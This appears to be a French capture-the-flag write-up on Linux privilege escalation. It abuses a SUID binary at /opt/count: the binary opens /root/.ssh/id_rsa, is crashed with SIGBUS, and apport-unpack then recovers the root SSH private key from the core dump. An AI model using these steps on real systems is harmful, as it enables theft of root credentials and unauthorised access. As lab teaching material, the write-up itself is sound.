SUID Core Dump (/opt/count) - Linux Privilege Escalation

Avec la commande suivante, nous recherchons si notre utilisateur a des privilèges SUID :

find / -perm -4000 2>/dev/null

Nous trouvons un fichier rare situé à /opt/count, dont le propriétaire est root.

En exécutant ce binaire, il nous demande de fournir un fichier, puis il nous liste le nombre total de caractères, de mots et de lignes. Ce script va lire le contenu du fichier et ensuite afficher ses propriétés.

Core Dump Binaire

En examinant le code source, nous pouvons observer qu'un core dump est généré, stockant temporairement le contenu en cas d'erreur.

Les erreurs sont enregistrées dans le répertoire /var/crash. Voici comment créer un core dump :

1. Entrer le nom du fichier ou du répertoire :

   Enter source file/directory name: /root/.ssh/id_rsa

   (Clé SSH root)

2. Sauvegarder les résultats dans un fichier ?

   Save results to a file? [y/N]: ^Z

   (Mettre en arrière-plan)

3. Obtenir le PID :

   ps

   (Copier le PID)

4. Tuer le processus :

   kill -BUS 'PID'

5. Relancer le binaire :

   fg

6. Vérifier le répertoire des core dumps :

   ls -l /var/crash

   (Un nouveau fichier apparaît : _opt_count.1000.crash)

Nous avons maintenant un core dump en base64 contenant la clé SSH de root.

Apport-umpack

Pour extraire les informations, nous allons utiliser apport-unpack :

apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh

Ensuite, nous allons lister le contenu du fichier dans /tmp/ssh/coredump à l'aide de strings :

Nous trouvons ainsi la clé SSH root